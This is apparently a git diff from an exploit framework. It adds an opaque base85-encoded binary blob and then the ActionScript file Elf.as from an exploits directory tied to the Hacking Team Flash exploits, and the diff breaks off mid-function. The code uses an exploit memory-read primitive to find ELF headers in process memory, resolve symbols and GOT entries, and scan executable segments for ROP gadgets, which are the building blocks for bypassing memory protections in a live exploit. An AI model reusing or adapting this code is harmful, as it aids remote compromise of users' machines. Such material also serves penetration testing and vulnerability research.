z?vuyHIBrw5aUY1}$<mfO<MQPBH^0-V4qgj7S2^Nkh+V+RTNHO*+s;t57#6y*;koW0 zjM{?b{=_K~a2ZKbGMlGT<Al3Tju6NA=tL23(6(v;<j6dBxQa3zcZ{64Jhj+tyg7&S zXLsImkoOUO!C&gcV;vbTND7f;M2}4(8s09_<4w5QI{-9y{&4A~&eyjxNT>dyW*G6) ztw<cfh~ZF)gq#&Daz=wpY{Ou(>Mkv>p}}RBxbYTggrUBS;M(4{%g*eDd&d0b)1y%e zHFiD~v(1o*1t!*0&@KhHkI2ufZH%dJCm4K&?}6nDXb0e%PCxS(;wM)h+?yGeg^B#F zP${Qx2DEY!WXzy_)!ien>eS7`W+OIgM*M|xrInvme{<cN7iFh0S%QUjH7Dw){}m}F z*4a;VxyJn|id$wEBWnKd6t}8>5??}b`5&*iHUAEZJ6spwSi_#;<~+rn#Jo06xM>p8 z+9!eX$`c~-FzT*f==vpnIoTr;i=d=U&&ggN4CZ8?4~BAbgW-W;PYprQJk@=sm;u#& z7L?G-@c-v32&7Y8^0|r%&sXGLsK}kH$h}yRd#NJ#az*ZyirlLexz{RkuYU;(sqIR$ zOAW&4Pl2d#P**y5W$n6>d4wxy4DPB}9?EEpxavygVU^Lgt}nqitNp4a^m6r;dl^y& zU-QL%SotgU;cbCn*1vc-Uu3F8udeHJ7t3;bBZiiXO8augDc=yy4+z{^eFe8xU-!)O zO>b)z$9OD`L0cRHwK#@Tag4U&5S^taL4eWxAho>-L)mJGA0HB4C>yG?_u$U80Z*?) zc4YD`1A^hV@WkY+fj~gNDLYcCy(z$|H9<vjovx1F)MSyFB4R>O0Ftj8Zu3-uXXf(D zHTb<KG#F8Fvi4^M-lqAyh3o9sk++)_Ro9XGMyR0ylP%A%_+88%2&g+0{KOrAzrr$( zht~1C40`}znsG=b4Cx(1zG>L+;Fx}>=>dIcc4WN0y3chI(}fx{k;z1-P*c?t0Gorr z<40OR4-NyqMk)3<hJmhQk7rreZf6jn-p3FN#Qrm~4}LP6X=l*tzZA3MF#BJN+3}bi zg<04QjKWihJ3&yv1}wXmIhh%vJ=W`15AsfbKM+orJS9Lq$FeRux^SVzUl)Wk(-#h} zvoE4>?kXKZ{I`G_48ef2a;A{8#2qN&A8T4LGyvvgy^yEHD78J-gGU;FgC`V&3P=1G z!}#wmQCDYA#DV>7ndE-wORgmt(2ak@(}bRpsrQZQ7MRQrm^>pA?=ZFc>O!uix@DG- zABw~*p(d);<}-$teBWpp=-2(gP!j{y*7uDlp4W_YFud=j=pJi5&6=KO3Y69{4f<$Q zzkbJG;^DB8tWcD{E68HDFAKBIegOGSl}<leaSCsx7BG3!Ve*<6L;Tdd1cUpfm@LEO z5lkM%WH}})Fj+~fU|Kiz;64ba@CXq8;Zb0lj!6)c5GG+vm{i*g1UM!l`WuS&=QA+> zw6LN}y6|XgI&(2f9MeajrBloZ^t`OuCC>@K;LZ*)*~|i#>q<Py)Q$#N32O#nD1_*R z4C<!2r7s}@jp>k8Jun2!@@de2T0kn&;>Nebwf~&YgEE2o;LioL1z<&A@<)xuKeX_M z!T)`RffsI>PL|fY8hwWOjoSv-&MIg1?*kz{I2KrKnIjx4nwTTBa(1IXB({+DT$T<N z`gd<uyBlKQZf?q@^=`V^^U52sWL85g>=n5yDhks<;3Aj~W;64cr7x~sTF%K&G))hF z19bFeZN-=#)K}`*!7fJ(s{yHlVs*0H9at|HLxq>i8)xve`5I6^9I(f4C-YAwy6hRK ztp6QPH?F2CezEM5=ShC{OsrsER-vI-VHQ^SX;9aLzo1#|Da>s22gK(Lmdj>lF_^WU zBGY4f-E8JT<{yK2Y&rg+N0&XDWj#cVcb+ka-JY8^rVq%>WVPMpWBXY!s0Zh$mHpBb zMStOUp4R*6-6QWEmyGEHULImFX(rB0HZz&6z@$6YKX-F4;cgzgJ*~s!>DUu6IH8=u zf6zfLe|?EuzD}&o28Fy-BvV*THFb*gJ(afS!|0)N8vh(tyRV%5-G3bUsr`^&@Hymv z{>PD@)(`oGpF{p13(j+{?>r-Q_9WD%UzD8ZXmp;@g7aL3D_=KO`6oPLLVRWw8xhZD zx>@Ty0r>w>I8+Bb?2E9VN`nZvaX2hB_n;jKuh7ZN6Mz~M1l08&3inD-U<DUL8U6w1 zw%9Tkdz62P3uU9{xE!xKRI3`SD5V^<SZZmD$Mi;PV6UJS@y=o_=|sg_#ayrFUj;z8 zcM!e4FQV6X1$upm$+;eb{}Tz`>=DHJ1{GrM8jwJ)k!%P&<<i>M%V*)&g;|*I&q7t5 zeE^s9|5ciWe=Z1)W?>Ufz`r2st3{u574^5t_es}bk4~dA;u>^EZ{+h9ZZ-aQIIIVk zt9Vo5dwUm~c!~9G&%SPKS3Lj>IS+RHL!U6X%-s$5fbXqY(gp6Fl&+yIRPA3>f9zdU z6RC8l3om)V+iT$MgNX$~aWJ7vBmB2IpU)P12Es(sJG!L=4?=+7--KbUdeP&T(Nfe8 zzt*n{>=LnpQ-OuR%lnQNoV$;R7Z4#IVHFUx?itbV`6Et;(neu<rN9%1#%XAH((R3o zRgR9s0&Gk}Dv#&$L?4$FNW(x&TT*b^1+sYT{;xqp56<&^sK2xkUmkOXQU1_pBUH8+ z`U`dRj^Y$CzgEy&1z};j33?88<9djtg*A}*1-J+niqZ`DW@#8Uu79h`RrKEqD!R~D z(E)Y#MpVLfwWOnCRdf~K@RZcMQriZudmD3G(GP56@`7l6SRe#3$ReSFCT}nLlW}U% zH*8}Lv;f?_D(>~ThXbjDu*R$CU#{~|1%lgI;V>DHH>+Ob4yrk@*!X6(rs#+6Q#CNv ze=T(ODUaSjBHYFjT|#N}pv6UK2}02(2oCz>kR1MIlchwz0zuAs;pNom5XhbLb6OM@ zvM54<sD>#ET(dWy4=l^)*XHxv^7*~KJx(BreWk>PYbiAmZy4FkR+d;Q)JBpZL5ea_ z#VygI3SDu$U5rm471|j4Hu8r{@F0IsZdy+)6DnTH7FJ3(^N6T@C7;j5xYrt{1d5~I zg+Zpm8)GBkFI4e&g}U#~kdsG+QcfrxtOfTH^@Z=^yn^uWR}1%~%YBWB*4Z^s@BmCH zjG7c?Qkn8RNHbDf@Nm0PFZQr(&fbN}@sL`IY$mHA2xGoYHJ#Mp%rra^V#6(^zIlZR zB4#>Z4pv|~0duH`0U}dWJwQZSb{eUj1`u&FD}|F;C7N~`f%csSUQ>6A)@}iRHyW)Q z4fwmmXx(A7tcH+vH4Snq5&3$N$n-BHQr37HNFf-yw%B+Uhej$kDyuY|boi3!tCNrr zu%%8Jcw3e{W#EINQwHQgM`ox2kk3@r3t5jcOpjsUn%Zq-4so!A*w++418dnDky$Gs zKF1iW-agFA3Q}5T83^uu*1S$=h(F3PWW)`0)*0U1!?f)1Vhf~ubp_qjE+exE+Ml5I z!1zoR@4G1s&SDrmOT~aR0(r;IvTXB96l~2_g9C!06`t1zN^JuEn(_7lZIL^b_CR6b ziW#V(zvK6ii7EHAg>#6?m7_qZ!4dxmRM$-#z>!Zc`VGM3(t<E%)=BfU2^NxLdi#Ke zwnz+g9p7a9vH>(a)X-Lyj<l{3tZFZWQ)${k?KRRyI$XOvpHBy29CK7%1VfuNZ(YrG z;Hl>QW@5ci?`Z%RogWBt$>9Y`VuR4IMw)I<HwYD~W?fkS5-+d-_RV78Y}2gKl@CH} z7wVD^nO$v0Iv5{lB2RKMV2!ShHY46%-Nv1?L8lf`Sb?iC(@AkQ7NvRhFz6I&etxCv zp_13h=hwp<_{?F3_p$LtT<)isxh^@?>~g#0G}AkpXt@|p^Y1B%i(wTei(!^w#% z%H&$xSr*n9z4<w&rBMs!f=>&Ez7HFj%wqy}3vv}sRXX@xg$3JVy~F!tr-?<Iu=Dyp zkXHgU4-`SqVZeYzP$R9w9D(-CQ-drRnh)CJ$mftyd!R3MF`SDRRy|Y@OIe2pP&rc5 zjwr}n&J?Zh8mPR-xcnfD=!P~uUI-V{x`bsjhOQaF8D?UmP;G}fa+Zl*MDRl9d9OE^ z(KO6($W6GQPk}Z(C};R%f!SPhFH_TD81j5_VPL`8)G6j<6TfFlygqT((19k5VF9>? zP-ujc*~~KIjl>~C8P}US#wb4#dvRMgiPUC+thKzve7jkw>Ut>jcX4nbeR7VO+9L3@ zZL9FyTVfl`?Kh$R75rTv2m>4yrW*~|(C#pxX%5{Gx^|dxm*yDyc^LdlC}gF!i`3Pb z$3<#~pf{@9Me`FvNj(Yuf#r+l`wcYtMQSJ%VyD&OOVD_GExs~|x9?~87&P9#TX-)( z2VLO-=ugztL-^=WO-uv#NR3<eGkOBLpQ%2X+ZL!mfZmsox5uZ51#b_f3$c{>rPHvq zxE5qH$FM+c*~$FZDM*Di?PLK^DCldqu#~3VLiHKF?P1kp^=^ZP4*(}xIgX8u<~>5e zCoYW&-y#$>q-++7rVFuCD1nG+?h=Y#WtvY4C0MI$6-sD7Q}zlaJV@Cm6gEiNE)-+8 zP<9A~4^q0+fDsHWLr;k64z3G)Ut0*AOc*!B$hw0%x0Chd=nYLSvzNvG3Z39ymT5QI z1E9mP|AgmP=oP)zQ3$FHShhpx`S*hZ3>Pv71QLZ^A!|O#w7ntN{swDZ*r{VbagYW9 zKU*WfhIX^&NrvL$-m&1f7vq^`=x(&*&%zyjPUb?m15bmFLI|`*RMR#C;86-ta%2Ai zvqu=ATjKRian(M;5aWP5?4r)Rh8WZzVStEM`4kB0c;>!@mSEg9I__}vqF`N1RSn$n zWN!fp$J=8ls-vE$Vjz)fa$>lk1aTkaVMD3-#@Jti=sXwaxZq{OxO}8T<Jx%CLZR`r zF%+qRU>GtH#=Tmar3OquT2ZjZTewl(lg~5G3^bc`$S<R1Vi~RYwA=HzaZ#38C-Ev% z$tig|*rT3|VQ`Po`e^zMeB`4lp6ud-velwRgC+VY(WI&Veqp()!5rLzBk#q<vd2>T zu<<z9!9{4^b3;3N9T#7}-l7Mp-veHC7Qj>B6>3l=p9C%`n|PTiWo`+ISE?F#>2D$B zKBU|Wve63z83&`shib5D>O(vF+#Jyl>ecT8eSG!@1Xih9Bp7<%4?b~LLYRbc9$1`~ zv>3)%S?0|TLa4QU*im#1Z9g4YH)zogV$bPdVeYCi@|uY9E=+QmP`?C1NIo6L*~Nq0 zpo6O?ZUWNbac!nIuVz}{ymC-|j`M2JymD{u7|p9GXkJYwXkNp9S(^RITUA`ph)=_t z{N;Nu?2B`?Kgj3fFz{}&i|a^5bBTAog<ePgQU^sN4CvD^Dk0Qdt?FTKXY1gO-LD$- z<k14w=vPgIaO04}<tQ~46f~E3ki)(L3>Jv2QG?(#esXDdM5EXlOc>GwLjGcgt|CNE z0+pW8X#%P_(I;(B+|O08xxE-5hB0!W-qxx*sKr<N8{8pL*<Td;i((M7j@mR_+9rT| zw#p_j#R)nHSpTJ)aA?A@$p&ijwSMF<ygxZ4o)(IH)a-_qk5S9|FOVQiOsaYURNn|O zOfY0Y_2&1Ol8X<-T|&-DJP(_c0TdTGZsIk}K;=!O3@J3}<19w+9_#Jnp23k1s6t#S zl6eMp6+Mpp7VgQ&x5K6ka)nJ<ubVlHTN^iX1os?z7TspE%K{KF(H>$m`Hqpabo8WN z<#IXhRB(4!%s@d@P(E{1+zBc`w?SLf03#0L?H9wnVC`ssPUaXH`Jeknegl@Z92ah; zgSnZptogXmaB*=n_kynpM;X=&r$gWjZV88~Pl4%#SqMGCPR}C%hg;PExWhZa;e1Y9 zqSahm8B-KPlC03^^;aP->2)bCaVahV^4l;1)o%qq>4?H7G6&dQ1MBMSr&){ZN2S$u z_D<H4E3XlQ8v9X%+f}^!swoS;lBW$=zD{Eh_Bcka`Vip$wBck<2)r$<hGApYZ9Rc& z(+-$|fX<6mK)6p(tFM){>UFEDy#usWrc>HWyA6HvJp*dwU>l5!+LLO<wbxFya3a&= zkEEu~{s6h&rS@}Sw_DXAyq2k6*z)y>nR2N)5as%;NIfTfB>YF;L_qFmeYDc-0Xxt` zr}VPDTfp19#Y*4tKwA8a2U6G=#XEj3u+os954ggH?zY{yhpPICiVF!+9Hn?9TR!x5 zdLP10FYt4-fY5wIq~#;bM({;(^GAl}^^UKD3m@5-^zBL?eZtb}{h_Z`=pz{{$5*jg z{A|VJ9;u<%`#F!^tkS17L;McHKqb-6Rc{z~SN(k%{=4c;1=N7V1*SkgTJ14Wfh6!E zQ>tIb9<M-}hVUP$wO@_{AQ|30fZ9;y#Al4Irwe`fOjHh!*KYO4#)z6pV>3$R%|D5} z;gP>POxVJQPrUZPMa1f{+pzs*oewROOrih&srM3f*eVTpPT;4J&kOvf`32ZHhfMP% z?3{JZpM{-sK<O3uapa2vKLL6PHqK0WS>Pu?ufV>UDX$7egp}8WVg{7gg%SxUZwRGo zkn&rh3>c#9g*YjokI0Vnw=v#Pz1womaB?^^=L{7MVQ(NuA1c7y;r3-8SP<E}gDVAo z%D2^|Px<7l^bsFa*{|Y*f^X0k$)(T{k6&Gi9KqV40~d+I);Nb}16CgI4ISDmfwdi| zH1Ma$jQ<?W_&h$sIBz6BHZ0Zt*hqe2SepHbk-T770sDfH{M4{?`%@$NnPCO(&y3_n z!wT6K(drMXfnY%YigzJ_XC-)$H$cG;SaO*+$=vBmBCXfHLodY-sk#X0%XKf{2zsaP zurup`joJ5<_94Bg^Ts`W&gG-WKeUUWC?({_8{y~?)sHpa6p6Ql0`zh~qUJleOOo46 z-0-^ftsk@KO@vu4YG8qK-OOnwx0_w9r&+X+PczJ>K8F6IV^pY&Jv87}j*i`15oIZf zw*{@_z;F)guJupAK~mkZIGz`M2!wFl2;q7gz;`LBPmt<RRmlNVYNL0@Kv=M|YdynK z7qH3&hz|gQD%D;Ut-GPR)PrC9EK7ZgwU1)$PqFrQu?m-uiuL|+0+&0?Qb)n{4b?+E z^b=;O%9CYP^!2fU$p1N?f3Jssz#c9dYl_v>ZrbINY=K26y9XxzJj2;U8K*uY#795{ zrUW*9)p$>ihJZD^f^@L;O@VUHLG1yI&cdiqiU`BC@?zd?{)8!L6;IPq<WNxBI~Dsw zhUqyvaQuki^UPD`XH>k$JWqRn2uXUg(9yWQ==bp$&K-(h?R><X!~;T&-GUJiWPrQO z??mA=91uTyQ{04xN|{2H#5+O(W^V~-)tg{n5nx(23lp1oR}eQ@5EsGc5I*n0z*FW7 zlWGmjRyLJ~+-a7Wz*YN<U(nqU^FBd1%gA&Gmg*rcaUa*H?%DFXXZopoh9xFK-LtqV z9|ke$!R;i0UM!~lR!iP+km2UMp?Ne08g%=3h6L{Q;iJwH%4>0sT2O5F5yf^5#n=up zE{SpwG;>RB0F5>e?J)2=?gf4*6>r-KqIE!PO7+iE9}Zgfdvy13gf3{R@QWx|-W*JD zw|tb)_`Cr|<-k9X3HN2<z(1^WObvwf;LCJC+6%6wFHR=|Wqo7DM|4_h^Y4XL-$=TG zp&pJgR0v6e6@!Eb!0qU{B^0cF6-E?dK_~WSB^836=(tbCZ-k3#RNt7(mG^`4EMo+e z#Y2=;ps8sB`zh%QAn@KrqT*l`oT{4P#VUpA$74jOT16*^pbM1^1`fv_eXRq9ys4st z?rOh>v((_jaxOu=Jw%a9yw^IePQztm(*RgE#&W63J*M1i%6+EXZ^{Fve9DvuO?k+a zPn+@?Qyw<u5mO#D<uOwpH)Yn8jwxMJ=1h6Qls%^GHD#YEpEc!krhML%FPQSADPJ_@ zOQw9;l&_d~UT2Tx$#ER|u~g{E(x5LZ0KHi{^k)U3M=Jz<T4CtbV$iQ;K+hJ3zAXX0 zTiCx90S>Gx;K3RITv$=y!>R^OtQhcO4Fqni8sNvO1&*viz>_r?xU#MSzO1W(GiwO& zW?ci^S=R!8RvmC?4Fw*pVZfyo9~HO9@#MW+z6v~zhIEuFUjvp$%hwTn11gV}zlC<A z<(uXxO}<5CZ)4f-2z&>@cL{tK!S`S=qvh`r`~zX%NAUF$$qxwp0KroPo<i_6jC`~_ zgWy@ho<;CO0zX9X9D(N${0PJ{TAoMnW01yZ`3Zs-sKNyVKPB)p1jh>m#|r>25;l+6 z_6UOQ5dg<VaNJ`N97ou32;NKJy$Fscumi#S2%Lc6#E3OyG^7CDPuTkrd>~>4M$1VE zK1kRH5qyZcn2g{Q0;eK4jVeq>u#><U2+kyMCW5mFoQ2?QqB{q{xrCjE;QWYXj+P4$ zTu9i3M15fd=IP-`QQ(URy9ldw5q2?xOCna)Xt@-@WrSUZ;3E-BjFyigxSX&n5L`(V zRw39;;A#ZdP=&P!t|M?Am94|>*O#QaAz}^kNj?^_3?JMWv99vLO%dyAAKV<VqCU8# z#L3nYxQ*y;LvVX(gpZdh?1)(L(eeodpNv?c(Q+q(yCOw}*iGPDr0s8^M(-iSUaYo{ z!2JjwAn*W!PZ4+!!9ykaJzWByDS?Me;Dl12M@rz)5_l|9G=$?NFiYSbHcB1!Bl}*S z9M7c#gQls2xduPtf-=Zl1pLSe#Gy)&^~xT^VSBP**^3a`D-Ds%l?;^xBl{xYdC*wN zOy#p!1+A2nk<^E@j?7g)hgnn;GFkaNLN8!)5)+&W`64Db!SW@9(4I+~$g1San4n>k z(voq&d|94_lWogaBG3X&n^co@PQFTmiGc4z%^+)+uOsdaOn!^Wn-Oq@Xewkn@-0l> z#st+~{w@MO@*T{gK9Nq-)Pi1v-+UJ#bQbbGgno}z(2bD3z$8KP2ZY|o<O3Rh1UxNj zG&vS|8YP5&MV_GnVuHSfyo&q~p>vo_kAPc7pF&nIKf>fZCg@z`$C!MA2|5_EE3yx= z4DvMc0#5v=Sa66~!vy_~yod=p81g+bkJ-7zMwR6$sT^Acf<+yb;}CZ*CgU;bz~nwm z(17HGDo7?`_I^wrz+_SttR1M-@<Gf#gvn$~reHD^lWCYtud=QkHBq(4^JE8yRRb0a zSZZMGb+~v8m7P_Pz&s2c6$I<W(qUK{1pC_%0fz~!gE|a??2IZov&x$cb(A(rw>$93 zN|pk)TeBlm9o)(MLA1yEa`76xo>UuiE+Oz%(#NF6@)nlX6HJAY#QOqYlsGEByRQcd z<9!OfZbf~!qPj~R-Uik0Ep(U~$Gx7~^jy5#3lP$JygTNzQR=dz0S{nrlDIj{RYtET z=y*zIN49+6A5YcR*{4{`DL*%;&K}Zo+RqHGv-7w|?okWx_n*b)nhDL%i1=Ms+552g zx&98eo~K~`#}JkmMhW2sUg#QowU$ZTaVa94#8tfNz<9nB!X_Q#jy-)?o-3BWo6qOm z0RlJ8IlP@eE3`%$+6(xNzW!5+iRmyDH>HlGXH+O02SWW=0^4~ZFl{;S@v6}aoLoAX z8jES>L+=#*L$NoAr>M2B<@0H%R|VU=oQvD+4myH8scJBZzsZio*JMV0qcOZO`YY(5 zS3V?M|Mk&dz+h)rx&G^;Z$fU4pVR1N(p*0mpqEMW{G48VnG~cq5<#Y2voxO%cIETs z{{c!-UQ~4$_rLj<k45>?IYJ+Z$lvF?mIC8S1vbV8gFgA033T;HHKX|9N8$Pse-6fQ zTAt@}epNcyB^Ok6$;qPWd9L9@B9ssQ9#RjACs%s{W(=h9lB#*982C8K<H70Zvs4Is z@R&L0banLMg^OEz3Z@VmybRGsKyUNjNQFTC=_#ZO+jFlqhP!=E*(6<$Or?YPqaOIa zZVJcS`zc(*Ks=YGpAzyXtT&%eg)-+vJeT-L;F-@Wpr!%+MgKvTF}zI-?;GBx4{r<B z`%mdz@1TOgG!G;JQ8##Uk)-!%s8T#SmENduj|C)?)~mmXPYJCNHNZtZaCrk|lQnd& zI12)z7$N@FE7wu!>)QlQF8l!=(jxXP4Blhc<As&8*4Ngwu@?XDjOoy?fKhr&6UJa4 z@HIX<Z2)dBPxCaZwLOu(T4~;|6;Gef`!;-aojn%q@pZNEea<Ph@PW=|BYxKqyB2V# z`!nG)bW9ErOUqQAn93ot{Fvg+vzOsNA^e9#Bo037h><zYtML}>h|x0HXqs#&t;e~C zhKlDZnf|Ek4cU3RM8((3{@wEw!>jZ$UAa%AEB9DmynPtBTYTPu?`=XY7X*a8V5NBZ z8O~;=7~|Sl^iGURSvouvy>)8Xg!W;m`il&@fxMM2-{%<Zk%qRQOAl=7@qtYmGKIUG zhPKeJ3X>Dsh(|flWWLdO3kz3+B{Igsc#rrAsC6*(PZgXE>-8dJ<RpZ4??uQ(PB6-z zV&J8fa7b}<XhIj75HUMm#OzjsBDD;2nue)Ri1l5k^;6NZ$#9!C87T1!Ws>`p?v;u! zk(c5Oen#)Q=m=oCL62nMFAW-%666OoE|%VY&Ba%0`F`8XH`=f9+FS#5+O=Yv1=wb6 zDgQ9$$CdJ3n7^0uSNk+gpXNrxe-DPQM@uc1Vv7z9W%{7zby2vFTVP<UKHJFA%StEL z{HUSbjxA(Y6`kBFHFP8QnLuRIXW;ce6K%nki=yeGP}(mFm{EEq=YRx&jg|;q=ru*u z_DJg-!#f+UqG(@a+D%Nyn%y+<A-8p$nQfVAG|e;=dj@_$VPx(#Q(9)cna!*<@E7Sy zxLG`#Szm#>mL5N@tH5=bnfsveE>@15U}h#(Ao0ap^CR?V=RSOu8p3acN<-?)ea?vF znyTC;6jlzP`qumZlo5P6Zrxn-119o1K|@PUcsk+zkPJ+EHJu~EjN;weYSA({H8?Yq zHw~tD64^MiH5{jTxZQ=x!<fuPRh~!+67|W^>y}jpI)?kTfEF|^;;TyNK6VD_6K}Ch z5iE`IWItm(+0QJU>~GvB`x|!=$zoQaLnhlnynD(E<!3CLd5j3tdl~$uu7|#<tHWOm z0f`LpS~pKJ6~BgBUIR*Cz<!BVR)RviJ@7B9)V1o{e4epiJ)&j_dP#j#eTN|B0h)~O z;8pla<8voqx&g`TE6u_r6n5y>z9D;)T4sF%z26J!G@3d=#irw@SccO&-|$Sg9;wwA zs1-V&QRuvYn0_guvw*<Y$QnM?sR0HWdNQ+&-Mx<6I?G@h{hY}|RCq(7a8Ic)3t4au zq&6!^Z6<3WJ!rg1>&f8WOL+F@EOpHUV7@qAeZI&8zDKP78i;T(JzOik*&7@HYA(Il zbLqvNE7w((KTf_xL2{QVNC}e~n#qDTZZHbZ*h;LK;Kaeai+WOG4TXG}Xm8i5udhc% zSgk&(?(tM&iiQugMuIExgnr2ouKYfFs#bWR-EYGJgI@DO?y^VLL<B$mtVdn=LMb|# z2hGYi-qSUIy>qge*+%P8dVoy|&`eYxHp<22^<UJcFJP3cq^z$QME3{2uJlWrnmDP! z8*#~O8SEselW3%<B3`d$L}zNHNA|O{iXG8xt+cMs(eO#?PYUb$7Q>;L&1N1i>P6vc zeI=&zGR(BgFf%JK(A(V7I=l_n;dvxwMlZp)p@`>G1^V)1i;<a!brw{h<|Arh1!^Ip z9<D$wLe!!P)M7++RiKt3YOz*)YzKpH?lw?(O8^xN9rVl>H(Fba=H=+wwi?y6XMy}` z10T+BHGEEEwIz=?tza465AG3<v7h<iVk7o9rK&|E^7)Q^$Dh*a-jp_Yy=RsfphoE; zOxm6f_Up%@K8FszFo&fbAKfg~G#L0*ILfX5whM-^28J*kh5!|okqb|GV!)*U{}xrj zTWJU}{Zd5drHE;lB4!p5__(oPSiraA>*}K#YUGdcCkae1uDGVoehBvVX4(6kYwPOl z$wteRavc8T-LRIaexspvcBj!Yt-Qi8sIUpgx10oUYx$#|X&juQJ&h-)b2*vY(|NL! zgX6S2d2$AqV-0%-PtN4B!?0)KA<YUc#6sb#z2{*Vw%!rUrbG4)*ffUiC$Nu|&_^hY z&$}~E81zII{x+tjo2goSFt!R-icokMdA3e7wNj*3iBz{pfpuqqN@g=_8jP>RyS2g( z{LP@DXd_eC!hd(gakPV>pVc&$;pJnQ#bqbAXYtDi1@+fxp>QZX@N&+fY^@dsrs}-U zQ7-4IX{UkD{nimnSL06)RIqd%va}QFtk>{H_*kHvso7l4<o0ZyoWtd8ZqMP#xm?cW z_FSHv$K`x(&*RDYTrTAHe4bpu<sxn`;K_wtF6Q<^o_v_grQCj)Cl_(~2)7sUWEYpq zx!uK+i@99M?ZrH~gv)MjFX73hT(05vQl4DK<vMOJ<H<+3+`#Qec=Ay$H*)(?o?Oo5 zW^OO%$rW5~<@O4mT*>8jZm;CYRb1}i_9~w2=JH8yck|?GE_ZQzHBYYLau2uH@Z?%9 z_i=kIPp;$g0Jqoi<a#a-a(g{bZs781Zg1ep$GAMq?Z<d>BbP_Hy^$w3ae18En|N|F zmkzf#^W+vTbKKs-lUup$;r7-tz1zlRAGf#h<aREf<Mwu*e4NXP+<u%VcW`-<+dFvj z2`*pa_7gn$B$uyn`$?YM$>nR@-pP}@xO{`#yLfUpmv3@=H&5>2@@;PK;mN&RzQgUk zJh_j{_qe@}C--yt2X61@$pc(|!0iJ(`4pF@x&0JR9^~>Yw-2K3Y{1X6LWZY1ci?vb zk7+t+A81p{u9C(y?K1GS+D0<uS}2=U&=c*h>p@3$p^j|Q3O_J%h~KHS9zyz?E0?A% zTJd)se51ah&fblUw`zq`!l$&t3Bw#SewSrmgHK+FG&uI;aUO3yj+75oQhvHfd9F|S z#ya~5QhrABKV2?qZWgSF+gT)YSi_f_0}2Ab2$41eN3@_uL1)X*q7<^3qejzEy?rPh z=N;7wKLI+gB#e3x#!zT}OzY=J<hZ7>;+K?;{k)NN?PrZ_&dyR~>OvZ{PZ(&tC&}#` zGqTxCpJDf6>#SD%wUJ}EvN@%E7V~Z??_xez%AdgeiBi57^F12g@Oz6hb<kU?@GMs7 yE9IZZ{IjL}Nz6Z|6+Q->?~8nRoqatJGI1xbeE-*@@BYP4$0)Y}{C@yz$&;W|r8+PG literal 0 HcmV?d00001 diff --git a/external/source/exploits/hacking_team/Elf.as b/external/source/exploits/hacking_team/Elf.as new file mode 100755 index 0000000000..ee7283c61c --- /dev/null +++ b/external/source/exploits/hacking_team/Elf.as @@ -0,0 +1,235 @@ +package +{ + public class Elf + { + private const PT_DYNAMIC:uint = 2 + private const PT_LOAD:uint = 1 + private const PT_READ_EXEC:uint = 5 + private const DT_SYMTAB:uint = 6 + private const DT_STRTAB:uint = 5 + private const DT_PLTGOT:uint = 3 + + private var e_ba:ExploitByteArray + // elf base address + public var base:uint = 0 + // program header address + public var ph:uint = 0 + // number of program headers + public var ph_size:uint = 0 + // program header entry size + public var ph_esize:uint = 0 + // DYNAMIC segment address + public var seg_dynamic:uint = 0 + // DYNAMIC segment size + public var seg_dynamic_size:uint = 0 + // CODE segment address + public var seg_exec:uint = 0 + // CODE segment size + public var seg_exec_size:uint = 0 + // .dynsyn section address + public var sec_dynsym:uint = 0 + // .synstr section address + public var sec_dynstr:uint = 0 + // .got.plt section address + public var sec_got_plt:uint = 0 + + public function Elf(ba:ExploitByteArray, addr:uint) + { + e_ba = ba + set_base(addr) + set_program_header() + set_program_header_size() + set_program_header_entry_size() + set_dynamic_segment() + set_exec_segment() + set_dynsym() + set_dynstr() + set_got_plt() + } + + public function external_symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + var got_plt_index:uint = 0 + + for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4)) + } + if (st_info != 0x11) { + got_plt_index++ + } + } + throw new Error() + } + + public function symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + + for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return base + st_value + } + } + throw new Error() + } + + + public function gadget(gadget:String, hint:uint):uint + { + var value:uint = parseInt(gadget, 16) + var contents:uint = 0 + for (var i:uint = 0; i < seg_exec_size - 4; i++) { + contents = e_ba.read(seg_exec + i) + if (hint == 0xffffffff && value == contents) { + return seg_exec + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return seg_exec + i + } + } + throw new Error() + } + + private function set_base(addr:uint):void + { + addr &= 0xffff0000 + while (true) { + if (e_ba.read(addr) == 0x464c457f) { + base = addr + return + } + addr -= 0x1000 + } + + throw new Error() + } + + private function set_program_header():void + { + ph = base + e_ba.read(base + 0x1c) + } + + private function set_program_header_size():void + { + ph_size = e_ba.read(base + 0x2c, "word") + } + + private function set_program_header_entry_size():void + { + ph_esize = e_ba.read(base + 0x2a, "word") + } + + private function set_dynamic_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + if (p_type == PT_DYNAMIC) { + seg_dynamic = base + e_ba.read(entry + 8) + seg_dynamic_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_exec_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + var p_flags:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + p_flags = e_ba.read(entry + 0x18) + if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) { + seg_exec = base + e_ba.read(entry + 8) + seg_exec_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_dynsym():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_SYMTAB) { + sec_dynsym = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function 